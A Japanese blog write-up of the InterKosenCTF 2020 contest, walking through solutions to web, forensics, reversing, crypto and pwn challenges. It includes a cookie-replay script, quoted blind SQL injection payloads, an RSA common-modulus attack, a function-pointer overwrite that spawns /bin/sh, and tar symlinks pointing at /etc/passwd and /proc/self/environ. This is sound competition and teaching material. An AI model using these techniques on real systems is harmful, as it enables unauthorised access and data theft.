InterKosenCTF 2020に、一人チームrotation
で参加しました。
(追記: 問題等はtheoremoon/InterKosenCTF2020-challengesにて公開されています)
コンテスト概要
2020-09-05(土) 10:00:00 +09:00 ~ 2020-09-06(日) 22:00:00 +09:00 の期間でした。 他ルールはAboutより引用:
InterKosenCTF2020 is a Jeopardy-style Capture The Flag competition hosted by insecure(ptr-yudai, theoldmoon0602, and yoshiking), a Japanese CTF team. There will be challenges of mainly 4 categories (pwn, web, rev, crypto) for begginer - intermediate level players.
結果
正の得点を取得した133チーム中、1300ptsで29位でした。
環境
Windows+WSL1(Ubuntu)で取り組みました。VirtualBox(Ubuntu)はごく一部でだけ使いました。
Windows
PS C:\> [System.Environment]::OSVersion.Version Major Minor Build Revision ----- ----- ----- -------- 10 0 19041 0
他ソフト
- IDA(Free版) : Version 7.0.19002 Windows x64
- Wireshark : Version 3.2.6
- うさみみハリケーン: v029
WSL
$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.5 LTS Release: 18.04 Codename: bionic $ cat /proc/version Linux version 4.4.0-19041-Microsoft (Microsoft@Microsoft.com) (gcc version 5.4.0 (GCC) ) #1-Microsoft Fri Dec 06 14:06:00 PST 2019 $ python3 --version Python 3.6.9
解けた問題
[welcome] Welcome
Welcome to InterKosenCTF 2020! All announcement, support, and the welcome flag are available in our Discord.
Discordのannouncementチャンネルにて、開始直後に以下の発言が書き込まれました:
ptr-yudaiToday at 10:00 AM InterKosenCTF 2020 has just started! KosenCTF{w31c0m3_and_13ts_3nj0y_the_party!!}
というわけでフラグを入手しました: KosenCTF{w31c0m3_and_13ts_3nj0y_the_party!!}
[web, warmup] matsushima2
Do you like poker? I like blackjack! Let's play it here.
配布されたファイルを展開すると、main.py
とHTML、画像等が含まれていました。問題URLにアクセスして遊んでみたり、main.py
を読んでみたりすると、以下の事がわかりました:
- 初期チップは100
- ブラックジャックで勝つとチップ2倍、負けるとチップ全て没収
- チップが999999以上になるとフラグが手に入る
つまりブラックジャックに14連勝する必要があります。main.py
を読むと、以下のことが分かりました:
- クッキーの値を元に状態を管理している
- 状態の中に山札も含まれていますが、ヒットやディーラーの処理では毎回
random.randrange
を使って引く札を決定している - クッキーは秘密の値で暗号化されている、クライアントから改竄することはできなさそう
- HTTPレスポンスとして状態をjsonでも返してはいますが、それはブラウザの表示用にだけ使われていそうなので今回は無関係
全く穴が無いように思えて1時間半ほど悩んでいました。が、「クッキーベースということは状態の復元が可能では」と閃めいたので以下のコードを書きました:
#!/usr/bin/env python3 import requests import json url_prefix = "http://web.kosenctf.com:14001/" def send(path, isget, req_cookie): d = None if req_cookie is None else dict(matsushima=req_cookie) r = (requests.get if isget else requests.post)(url_prefix + path, cookies=d) print(r.text) chip = json.loads(r.text)["chip"] # 最後のフラグはここでエラーになるので上の出力を見る cookie = r.cookies["matsushima"] return [chip, cookie] def initialize(): return send("initialize", False, None) def stand(cookie): return send("stand", False, cookie) def next_game(cookie): return send("nextgame", False, cookie) def get_flag(cookie): return send("flag", True, cookie) [chip, cookie] = initialize() while True: [next_chip, next_cookie] = stand(cookie) if next_chip == 0: continue [chip, cookie] = [next_chip, next_cookie] if chip >= 999999: break [chip, cookie] = next_game(cookie) print(get_flag(cookie))
自分はひたすらスタンドを続けて、ディーラーがバストするのを待つ戦略です。これを実行してフラグが手に入りました: KosenCTF{r3m3mb3r_m475u5him4}
[web, forensics] limited
Our website had been attacked by someone. Did the attacker successfully steal the admin's secret?
配布されたファイルを展開すると、packet.pcap
だけが含まれていました。Wiresharkで確認したところ、以下の内容でした:
- 3つのIPアドレスが登場している(A, B, Cとします)
- Aクライアント→Bサーバー のHTTP通信と Bクライアント→Cサーバー のHTTP通信がメインのようです
- A→B のHTTP通信のURLに
search_max=(SELECT unicode(substr(secret, 50, 1)) FROM account WHERE name="admin") % 13
等のSQLインジェクションが含まれている - B→C のHTTP通信は、Hostが
metadata.google.internal
なので本質ではなさそう
そういうわけで、AB間HTTP通信のリクエストのURLとレスポンス内容を抽出して加工すれば、攻撃者が得た情報を得られそうです。つまり以下の手順が必要です:
- .pcapの内容を、後のプログラムから扱いやすいように変換する
- AB間HTTP通信のリクエストのURLを抽出する
- AB間HTTP通信のレスポンスを抽出する
- 抽出したレスポンスから攻撃結果を抽出する
- 攻撃結果を導く
やることは多いですが、やれば出来るのでやりました。
項目1は、Wiresharkのフィルタにhttp&&ip.addr==124.41.115.112
(このIPアドレスはAのものです)を適用してFile→Export packe dissections→As Json
からDisplayedなものをdissections.json
として保存しました。
最後の攻撃結果は、中国剰余定理で各文字を復元できました。
2~5をまとめたコードが以下になります(やることが多いのでコードも長い)(各種ライブラリの使い方は都度ググりました):
#!/usr/bin/env python3 import json from bs4 import BeautifulSoup # for parsing html import urllib.parse # for decoding percent-encoding import re import Crypto.Util.number import functools def load_as_json(path): with open(path, "rb") as f: return json.load(f) def get_frame_number(data): return int(data["_source"]["layers"]["frame"]["frame.number"]) def get_http_member(data): return data["_source"]["layers"]["http"] def is_request(http_data): return "http.request" in http_data def is_response(http_data): return "http.response" in http_data def get_uri_from_request(http_data): return http_data["http.request.full_uri"] def get_response_number_from_request(http_data): return int(http_data["http.response_in"]) def get_html_from_response(http_data): return http_data["http.file_data"] def get_search_count(html): # html/body/div/table/tbody 中のtr要素の数が検索結果の数 # 1htmlにtableタグは1つだけ存在するらしい # 検索結果が存在しない場合、theadだけある場合とtableそのものが無い場合があるらしい soup = BeautifulSoup(html, features="html5lib") return max(0, len(soup.find_all("tr")) - 1) # theadの1つを除く # https://tex2e.github.io/blog/crypto/crt からお借りしてmodinvをCrypto.Util.numberのに変更 def chinese_remainder(a, n): # a := [a1, a2, ..., ak] # n := [n1, n2, ..., nk] total = 0 prod = functools.reduce(lambda x, y: x*y, n) for n_i, a_i in zip(n, a): b_i = prod // n_i total += a_i * b_i * Crypto.Util.number.inverse(b_i, n_i) return total % prod array = load_as_json("dissections.json") frame_dict = { get_frame_number(data) : get_http_member(data) for data in array } attack_list = [ (frame, get_uri_from_request(http_data), get_html_from_response(frame_dict[get_response_number_from_request(http_data)]) ) for [frame, http_data] in sorted(frame_dict.items()) if is_request(http_data)] chinese_dict = {} for [frame, uri, html] in attack_list: # URIは以下のようなもの # http://moxxie.tk:8080/search.php?keyword=&search_max=3 # http://moxxie.tk:8080/search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+1%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+19 # エスケープ解除後は「http://moxxie.tk:8080/search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19」のようになる # 1つのpositionに対して、いくつかの異なる素数に対して剰余を取っているので、中国剰余定理で復元する # positionは1~50まである unquoted = urllib.parse.unquote_plus(uri) result = re.search(r'search_max=\(SELECT unicode\(substr\(secret, (\d+), 1\)\) FROM account WHERE name="admin"\) % (\d+)', unquoted) if result is None: continue count = get_search_count(html) position = int(result.group(1)) mod = int(result.group(2)) if position not in chinese_dict: chinese_dict[position] = ([], []) chinese_dict[position][0].append(count) chinese_dict[position][1].append(mod) for (position, (counts, mods)) in chinese_dict.items(): print(chr(chinese_remainder(counts, mods)), end="") print()
これを実行してフラグを入手しました: KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}
(CRTってなんでしょう?)(公開後追記: Chinese remainder theorem の略と気づきました)
(追記: Scapy
というPythonライブラリを使えば、.pcap
の読み込みから内容取得まで全部できるらしいです)
[reversing, warmup] in question
???
説明文が説明になっていないように見えましたが配布されたバイナリを解析しようとすると一目超然でした。関数名が全て?????????_0
のようにクエスチョンマークだらけでした!
また配布されたバイナリは何か加工されたもののようでした。WSL環境のUbuntuでは実行できなかったのです:
$ file chall chall: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV) $ ./chall zsh: exec format error: ./chall
VirtualBox環境のUbuntuでは直接実行はできましたが、他のツール経由で起動することは失敗しました:
$ ./chall Usage: ./chall <FLAG> $ ltrace ./chall KosenCTF{aaa} "./chall" is neither an ELF executable nor a shared library $ gdb -q ./chall "/media/sf_WinShare/kosenctf/./chall": not in executable format: File format not recognized
とりあえずIDAで開くと関数が71個存在するようでした。上記出力のUsage文字列がstringsタブで検出されていたので使用箇所近辺を読むと、特定関数の戻り値の有無で正解・不正解を判定していることが分かりました。その関数の肝心なところは以下のものでした:
.text:00000000004002DF -30A 31 C0 xor eax, eax .text:00000000004002E1 .text:00000000004002E1 locLoopBegin: ; CODE XREF: IsWrongFlag+48↓j .text:00000000004002E1 -30A 39 C8 cmp eax, ecx ; eax: 今index, ecx: 文字数 .text:00000000004002E3 -30A 7D 25 jge short locCorrect .text:00000000004002E5 -30A 41 8A 14 00 mov dl, [r8+rax] ; 多分r8に入力文字列が入っている .text:00000000004002E9 -30A 41 32 54 00 01 xor dl, [r8+rax+1] .text:00000000004002EE -30A 89 C7 mov edi, eax .text:00000000004002F0 -30A 40 80 F7 FF xor dil, 0FFh .text:00000000004002F4 -30A 0F B6 D2 movzx edx, dl .text:00000000004002F7 -30A 31 FA xor edx, edi .text:00000000004002F9 -30A 0F B6 3C 06 movzx edi, byte ptr [rsi+rax] ; rsi: data領域のバイト列先頭アドレス .text:00000000004002FD -30A 48 FF C0 inc rax .text:0000000000400300 -30A 39 FA cmp edx, edi .text:0000000000400302 -30A 74 DD jz short locLoopBegin .text:0000000000400304 -30A B8 01 00 00 00 mov eax, 1 ; must not come here .text:0000000000400309 -30A C3 retn .text:000000000040030A ; --------------------------------------------------------------------------- .text:000000000040030A .text:000000000040030A locCorrect: ; CODE XREF: IsWrongFlag+29↑j .text:000000000040030A -30A 31 C0 xor eax, eax ; must come here .text:000000000040030C -30A C3 retn
入力文字列を加工した結果が、data領域のバイト列と一致すれば良いようです。逆算も出来そうなので以下のコードを書きました(インラインアセンブラを使おうと思っていたのでCで書きましたが、結局Cで完結しました):
#include<stdio.h> #include<string.h> /* アセンブリ中で登場していた、data領域のバイト列 */ const unsigned char data[] = { 0xDB, 0xE2, 0xEB, 0xF7, 0xD6, 0xED, 0xEB, 0xC5, 0xE8, 0xA2, 0xAB, 0xEE, 0xD8, 0xC1, 0xAE, 0xB7, 0xC4, 0xC5, 0xF1, 0xB0, 0xAB, 0xC1, 0xD0, 0xBE, 0xE7, 0xBA, 0xD6, 0xCE, 0xEB, 0x9F, 0x0, 0x0 }; int convert(char a, char b, int i) { int edi = i ^ 0xFF; int edx = (int)a ^ (int)b; return edi ^ edx; } int main(void) { char buf[256] = "KosenCTF{"; int initial_length = strlen(buf); int i; for (i = 0; i < initial_length - 1; ++i) { int xxx = convert(buf[i], buf[i + 1], i); int d = data[i]; printf("%x, %x, %s\n", xxx, d, xxx == d ? "OK" : "NG"); } printf("%s", buf); for (i = initial_length; i < sizeof(data); ++i) { for (unsigned char c = 0x21; c <= 0x7f; ++c) { if (convert(buf[i - 1], c, i - 1) == data[i - 1]) { buf[i] = c; putchar(c); break; } } } return 0; }
上記コードを実行してフラグを入手しました: KosenCTF{d0nt_l3t_th4t_f00l_u}
[reversing] harmagedon
WTF of the large data! Enclose the flag with KosenCTF{}
配布されたファイルを展開すると、chall
バイナリのみが含まれていました。実行してみると、4択の文字を何度か入力する形式でした。
IDAで見ると関数1個のシンプルな形式でした。重要な判定箇所を抜粋したものに次になります:
.text:00000000004000B6 f: ; CODE XREF: _start+EC↓j .text:00000000004000B6 000 inc r10 .text:00000000004000B9 000 mov eax, 0B77C7Ch .text:00000000004000BE 000 cmp rax, rbx .text:00000000004000C1 000 jz congratz .text:00000000004000C7 000 mov eax, 0Bh .text:00000000004000CC 000 cmp rax, r10 .text:00000000004000CF 000 jl goodbye (中略、ここで4択文字の出力や、入力処理がある) .text:0000000000400192 000 add rbx, rcx ; rcxは入力に応じた[0, 3]の値 .text:0000000000400195 000 inc rbx .text:0000000000400198 000 shl rbx, 2 .text:000000000040019C 000 jmp f
つまり11回文字を入力して計算結果が0x0B77C7Cになればよいこと、1回の入力で1~4が足された後に左2bitシフトが行われることが分かりました。(ビットの繰り上がりで一時期ハマりつつも)各4択における正解の入力を計算できるので、そのとおりに入力します:
$ ./harmagedon which is your choice? [fRD3]R which is your choice? [Ymug]u which is your choice? [kcJQ]k which is your choice? [yhtP]t which is your choice? [uDPJ]u which is your choice? [05n7]n which is your choice? [V0Np]0 which is your choice? [8GFr]r which is your choice? [Dar3]D which is your choice? [UDi8]i which is your choice? [KS3c]3 congratz. your choices are the flag
というわけで問題文の説明の通り、上記内容をKosenCTF{}
で囲ったものがフラグとなります: KosenCTF{Ruktun0rDi3}
(leetを直してググると、そういった名前の曲がヒットしました)
(warmup問題のほうが、実行が困難であり関数が多いため難しかったのでは、という印象です)
[reversing] trilemma
Citizen fears emperor. Slave fears citizen. Emperor fears slave.
配布されたファイルを展開するとmain.c
, libcitizen.so
, libemperor.so
, libslave.so
が含まれていました。実行形式が無いことに困惑していましたが、main.c
にてビルド方法が記述されていました:
/** $ gcc main.c -L./ -lemperor -lcitizen -lslave $ LD_LIBRARY_PATH=./ ./a.out */ #include <stdio.h> char *emperor_flag(void); char *citizen_flag(void); char *slave_flag(void); int main(void) { printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag()); return 0; }
記述通りにコンパイル及び実行をしますと、以下の出力のみを行って終了していました:
[libslave.so] Citizen despises slave.
main.c
冒頭で出力するようにしても出力結果は変わらないため、.soの読み込み時の処理で何かしているようです。IDAで確認すると、以下のことが分かりました:
- 各種soに存在する
citizen
,emperor
,slave
関数にて読込中の.soを確認している - 他2つの.soが存在していれば出力後にexit()する 3つの.soについて、.soの存在有無に関わらず終了しないルートへjmpするよう.soにパッチを当てて実行すると、今度は以下の出力で終了しました:
[libcitizen.so] Resource conflicts.
改めてIDAで色々見ると、以下のことが分かりました:
- 各種soの
citizen_flag
等の関数では、_slave_secret
等別soの関数を呼び出している- そのため、
main.c
で1つの.soのみをリンクすることは不可能
- そのため、
- 各種flag関数やsecret関数ではmmapで固定アドレスを使用している、具体的には:
emperor_flag
,slave_secret
__では0x3F5500000000slave_flag
__,citizen_secret
では0x3FCC00000000citizen_flag
,emperor_secret
では0x3FEE00000000
- mmapのアドレスをバラバラになるよう改竄すると
main.c
のmain
まで到達するが、出力内容は壊れたデータになる - mmapのflags引数が一部異なる(0x8021, 0x8022, 0x8032が存在した)
何かの拍子にstraceを実行したのですが、良いことが分かりました:
(前略) mmap(0x3fcc00000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3fcc00000000 mmap(0x3fee00000000, 4096, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3fee00000000 mmap(0x3fee00000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3fee00000000 mmap(0x3f5500000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3f5500000000 mmap(0x3f5500000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3f5500000000 mmap(0x3fcc00000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x7f829dbf0000 write(2, "[libcitizen.so] Resource conflic"..., 36[libcitizen.so] Resource conflicts. (後略)
0x3fee00000000の割り当てには2つのmmapが成功していますが、0x3fcc00000000の割り当てでは2つ目が失敗しています。原因がMAP_PRIVATEにありそうなので、全てのmmap呼び出しでflags引数にMAP_SHARED(0x0010)を加えるよう.soにパッチを当てました。
これで上手くいくと思ったのですが、自分の環境ではmain
の出力が以下のようになってしまいました:
The flag is KosenCTF{emperor_wins_with_a_probabili
どう見ても出力が途切れています。フラグ取得箇所の前後にデバッグ出力を挟むと、それらは正常に出力されました。
しばらく悩んだ後、main
を以下のように変更してみると、何故かすべての出力が得られるようになりました:
int main(void) { printf("%s\n", emperor_flag()); printf("%s\n", citizen_flag()); printf("%s\n", slave_flag()); return 0; }
KosenCTF{emperor_wi ns_with_a_probabili ty_of_four-fifths}
理由はよく分かりませんが最後まで出てくれたようなので、3行をまとめてフラグを入手しました: KosenCTF{emperor_wins_with_a_probability_of_four-fifths}
(追記: 後から思うと、各種flag関数で何らかの状態を共有していて、printfで出力する前に文字列ポインタ先が壊れたりしたのかもしれませんね。1つのflag関数を呼び出してprintfだと状態競合を避けられそうです)
[crypto, warmup]ciphertexts [AC]
Since there are two ciphertexts, it is easy to solve, isn't it?
配布されたファイルを展開すると、main.py
とoutput.txt
が含まれていました。main.py
の全内容が次になります:
from Crypto.Util.number import * import gmpy2 from flag import flag p = getPrime(512) q = getPrime(512) r = getPrime(512) n1 = p * q n2 = p * q * r e1 = getPrime(20) e2 = int(gmpy2.next_prime(e1)) m = bytes_to_long(flag) c1 = pow(m, e1, n1) c2 = pow(m, e2, n2) print("n1 = {}".format(n1)) print("n2 = {}".format(n2)) print("e1 = {}".format(e1)) print("e2 = {}".format(e2)) print() print("c1 = {}".format(c1)) print("c2 = {}".format(c2))
RSA暗号運用でやってはいけない n のこと #ssmjp を見ますとその8 同一の平文を異なるeで暗号化した暗号文を与えてはいけない
なCommon Modulus Attackを適用できそうです。今回の出力そのものはn1, n2は異なりますが、rはn2/n1で計算できます。
c2をrで割った剰余に直せばできそうなのでコードを書きました(最初、c1をr倍していて詰まっていました):
#!/usr/bin/env python3 from Crypto.Util.number import * # https://nagiss.hateblo.jp/entry/2019/07/01/185421 からお借りしました def exgcd(a, b): """ return (g, x, y) where g = gcd(a, b) and ax + by = g """ if a == 0: return b, 0, 1 g, y, x = exgcd(b%a, a) return g, x-(b//a)*y, y n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223 n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749 e1 = 745699 e2 = 745709 c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818 c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546 r = n2 // GCD(n1, n2) print(f"r={r}") c2 %= n1 [g, a, b] = exgcd(e1, e2) print(f"g={g}") print(f"a={a}") # マイナスの値が得られる print(f"b={b}") print(f"e1*a+e2*b={e1*a + e2*b}") v = pow(inverse(c1, n1), -a, n1) w = pow(c2, b, n1) m = (v * w) % n1 print(m) print(long_to_bytes(m))
実行してフラグを入手しました: KosenCTF{HALDYN_D0M3}
[pwn, wamup] babysort
(問題文はnc接続先のみだったので省略)
配布されたファイルを展開すると、main.c
とchall
が含まれていました。main.c
の中身の要点は以下のものでした:
typedef int (*SORTFUNC)(const void*, const void*); typedef struct { long elm[5]; SORTFUNC cmp[2]; } SortExperiment; /* call me! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); } int main(void) { SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}}; int i; /* input numbers */ for(i = 0; i < 5; i++) { printf("elm[%d] = ", i); if (scanf("%ld", &se.elm[i]) != 1) exit(1); } /* sort */ printf("[0] Ascending / [1] Descending: "); if (scanf("%d", &i) != 1) exit(1); qsort(se.elm, 5, sizeof(long), se.cmp[i]); /* (後略) */ reutnr 0; }
ソート種類選択時のiの範囲チェックがないため、スタック上の数値を関数ポインタとして実行できることが分かります。都合のいいことにすぐ近くのelemに事前に任意数値を入力できるため、そこでwinのアドレスを入れておけばよさそうです。
$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1167f928326f9aee34baf2143adfc5bd810faa2, not stripped $ checksec --file=chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 74 Symbols No 0 1chall
No PIEであるためアドレスは固定です。IDAでwin関数のアドレスを調べて、elemの数値としてwinのアドレスを入力し(今回8byte値として入力して8byteとして扱わせるので、エンディアン変換は不要でした。少しハマりました)、iに-1を入れてシェルを獲得できました。
シェルに入るとflagがあったので取得しました: KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}
取り組んだけど解けなかった問題
[web] miniblog
I created a minimal blog platform. It doesn't use any complex things.
配布されたファイルを展開すると、main.py
と、フレームワーク用のファイルが展開されました。機能の中にtarまたはtar.gzファイルをアップロードできるものがあり、その処理が以下になっていました(非本質箇所削除):[]
attachment = request.files.get("attachment") tarpath = 'tmp/{}'.format(uuid4().hex) attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"]) attachment.save(tarpath) tarfile.open(tarpath).extractall(path=attachments_dir)
ここで悪いことが出来そうなのでtar関連をググっていると、以下の記述を見つけました:
- 12.5. tarfile — Read and write tar archive files — Python 2.7.18 documentation ::
Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".
- tarでシンボリックリンクを固める – Siguniang's Blog ::
シンボリックリンクをtarで固める際、何もオプションを与えないと、ブロック情報のみが保持される。シンボリックリンク先を固めるには -h(–dereference) オプションが必要。
今回のWebアプリでは、展開後のファイルはglob("userdir/{userid}/attachments/*")
で取得できることを前提としていたので、シンボリックリンクを使えそうです。またglobで取得したファイルについてos.path.isfile(path)
が成立する必要がありますが、シンボリックリンクでもリンク先が存在すれば成立してくれます。
そういうわけで加工したtarファイルをアップロードして、ミニブログのテンプレートを変更することで任意ファイルを(Base64後の内容で)表示できるようになりました。なったのですが、フラグがどこにあるのか分からず解けませんでした。最終的に試したシンボリックリンクの内容は以下のものでした:
lrwxrwxrwx 1 tan tan 4 Sep 6 14:02 allF -> FLAG lrwxrwxrwx 1 tan tan 7 Sep 6 14:02 allFF -> ../FLAG lrwxrwxrwx 1 tan tan 10 Sep 6 14:02 allFFF -> ../../FLAG lrwxrwxrwx 1 tan tan 8 Sep 6 12:42 f -> flag.txt lrwxrwxrwx 1 tan tan 4 Sep 6 13:25 f_ -> flag lrwxrwxrwx 1 tan tan 7 Sep 6 13:25 f__ -> ../flag lrwxrwxrwx 1 tan tan 10 Sep 6 13:25 f___ -> ../../flag lrwxrwxrwx 1 tan tan 8 Sep 6 13:25 fb -> flag.bmp lrwxrwxrwx 1 tan tan 11 Sep 6 13:25 fbb -> ../flag.bmp lrwxrwxrwx 1 tan tan 14 Sep 6 13:25 fbbb -> ../../flag.bmp lrwxrwxrwx 1 tan tan 11 Sep 6 12:42 ff -> ../flag.txt lrwxrwxrwx 1 tan tan 14 Sep 6 12:42 fff -> ../../flag.txt lrwxrwxrwx 1 tan tan 17 Sep 6 12:42 ffff -> ../../../flag.txt lrwxrwxrwx 1 tan tan 20 Sep 6 12:43 fffff -> ../../../../flag.txt lrwxrwxrwx 1 tan tan 23 Sep 6 13:05 ffffff -> ../../../../../flag.txt lrwxrwxrwx 1 tan tan 26 Sep 6 13:05 fffffff -> ../../../../../../flag.txt lrwxrwxrwx 1 tan tan 29 Sep 6 13:05 ffffffff -> ../../../../../../../flag.txt lrwxrwxrwx 1 tan tan 32 Sep 6 13:05 fffffffff -> ../../../../../../../../flag.txt lrwxrwxrwx 1 tan tan 35 Sep 6 13:05 ffffffffff -> ../../../../../../../../../flag.txt lrwxrwxrwx 1 tan tan 38 Sep 6 13:05 fffffffffff -> ../../../../../../../../../../flag.txt lrwxrwxrwx 1 tan tan 41 Sep 6 13:05 ffffffffffff -> ../../../../../../../../../../../flag.txt lrwxrwxrwx 1 tan tan 8 Sep 6 13:26 fg -> flag.gif lrwxrwxrwx 1 tan tan 11 Sep 6 13:26 fgg -> ../flag.gif lrwxrwxrwx 1 tan tan 14 Sep 6 13:26 fggg -> ../../flag.gif lrwxrwxrwx 1 tan tan 9 Sep 6 13:25 fh -> flag.html lrwxrwxrwx 1 tan tan 12 Sep 6 13:25 fhh -> ../flag.html lrwxrwxrwx 1 tan tan 15 Sep 6 13:25 fhhh -> ../../flag.html lrwxrwxrwx 1 tan tan 8 Sep 6 13:25 fj -> flag.jpg lrwxrwxrwx 1 tan tan 9 Sep 6 13:26 fje -> flag.jpeg lrwxrwxrwx 1 tan tan 12 Sep 6 13:26 fjee -> ../flag.jpeg lrwxrwxrwx 1 tan tan 15 Sep 6 13:26 fjeee -> ../../flag.jpeg lrwxrwxrwx 1 tan tan 11 Sep 6 13:26 fjj -> ../flag.jpg lrwxrwxrwx 1 tan tan 14 Sep 6 13:26 fjjj -> ../../flag.jpg lrwxrwxrwx 1 tan tan 7 Sep 6 13:25 fm -> flag.md lrwxrwxrwx 1 tan tan 7 Sep 6 17:40 fmd -> flag.md lrwxrwxrwx 1 tan tan 10 Sep 6 17:40 fmdd -> ../flag.md lrwxrwxrwx 1 tan tan 13 Sep 6 17:40 fmddd -> ../../flag.md lrwxrwxrwx 1 tan tan 10 Sep 6 13:25 fmm -> ../flag.md lrwxrwxrwx 1 tan tan 13 Sep 6 13:25 fmmm -> ../../flag.md lrwxrwxrwx 1 tan tan 8 Sep 6 13:25 fp -> flag.png lrwxrwxrwx 1 tan tan 8 Sep 6 17:39 fphp -> flag.php lrwxrwxrwx 1 tan tan 11 Sep 6 17:40 fphpp -> ../flag.php lrwxrwxrwx 1 tan tan 14 Sep 6 17:40 fphppp -> ../../flag.php lrwxrwxrwx 1 tan tan 11 Sep 6 13:25 fpp -> ../flag.png lrwxrwxrwx 1 tan tan 14 Sep 6 13:25 fppp -> ../../flag.png lrwxrwxrwx 1 tan tan 7 Sep 6 17:39 fpy -> flag.py lrwxrwxrwx 1 tan tan 10 Sep 6 17:39 fpyy -> ../flag.py lrwxrwxrwx 1 tan tan 13 Sep 6 17:39 fpyyy -> ../../flag.py lrwxrwxrwx 1 tan tan 8 Sep 6 17:21 fr -> flag.rar lrwxrwxrwx 1 tan tan 11 Sep 6 17:21 frr -> ../flag.rar lrwxrwxrwx 1 tan tan 14 Sep 6 17:21 frrr -> ../../flag.rar lrwxrwxrwx 1 tan tan 8 Sep 6 13:37 fs -> flag.svg lrwxrwxrwx 1 tan tan 11 Sep 6 13:37 fss -> ../flag.svg lrwxrwxrwx 1 tan tan 14 Sep 6 13:37 fsss -> ../../flag.svg lrwxrwxrwx 1 tan tan 8 Sep 6 17:20 ft -> flag.tar lrwxrwxrwx 1 tan tan 11 Sep 6 17:22 ftg -> flag.tar.gz lrwxrwxrwx 1 tan tan 14 Sep 6 17:22 ftgg -> ../flag.tar.gz lrwxrwxrwx 1 tan tan 17 Sep 6 17:22 ftggg -> ../../flag.tar.gz lrwxrwxrwx 1 tan tan 11 Sep 6 17:20 ftt -> ../flag.tar lrwxrwxrwx 1 tan tan 14 Sep 6 17:21 fttt -> ../../flag.tar lrwxrwxrwx 1 tan tan 8 Sep 6 17:21 fz -> flag.zip lrwxrwxrwx 1 tan tan 11 Sep 6 17:21 fzz -> ../flag.zip lrwxrwxrwx 1 tan tan 14 Sep 6 17:21 fzzz -> ../../flag.zip lrwxrwxrwx 1 tan tan 4 Sep 6 14:02 largeF -> Flag lrwxrwxrwx 1 tan tan 7 Sep 6 14:02 largeFF -> ../Flag lrwxrwxrwx 1 tan tan 10 Sep 6 14:02 largeFFF -> ../../Flag lrwxrwxrwx 1 tan tan 8 Sep 6 14:02 largeFt -> Flag.txt lrwxrwxrwx 1 tan tan 11 Sep 6 14:02 largeFtt -> ../Flag.txt lrwxrwxrwx 1 tan tan 14 Sep 6 14:02 largeFttt -> ../../Flag.txt lrwxrwxrwx 1 tan tan 13 Sep 6 13:11 p -> ../etc/passwd lrwxrwxrwx 1 tan tan 16 Sep 6 13:11 pa -> ../../etc/passwd lrwxrwxrwx 1 tan tan 19 Sep 6 13:11 pas -> ../../../etc/passwd lrwxrwxrwx 1 tan tan 22 Sep 6 13:11 pass -> ../../../../etc/passwd lrwxrwxrwx 1 tan tan 25 Sep 6 13:11 passw -> ../../../../../etc/passwd lrwxrwxrwx 1 tan tan 28 Sep 6 13:11 passwd -> ../../../../../../etc/passwd lrwxrwxrwx 1 tan tan 18 Sep 6 14:25 proc_self_environ -> /proc/self/environ
pas -> ../../../etc/passwd
は存在せずpass -> ../../../../etc/passwd
が存在したため、本Webアプリはユーザーディレクトリの2つ下で動いているようだったので、各種flagファイルの探索は../../
までにとどめています。
うーむ、恐らくもう少しだったと思うのですけれども、解けなくて残念です。
なお一時期、誰かがtarに相対パスのファイルを仕掛けたのか、ユーザーディレクトリ直下にflagファイル(内容は無関係の画像)が設置されていました。Discordで運営の方にお知らせするとすぐに対処してもらえました。
(追記: 他の方のwrite-upによると、相対パス出力でテンプレートファイルを改竄して任意コード実行(Server-Side Template Injection; SSTI)させると解けるそうです、凄い: InterKosenCTF 2020 WriteUp - Ryoto's Blog )
[misc, cheat] Tip Toe
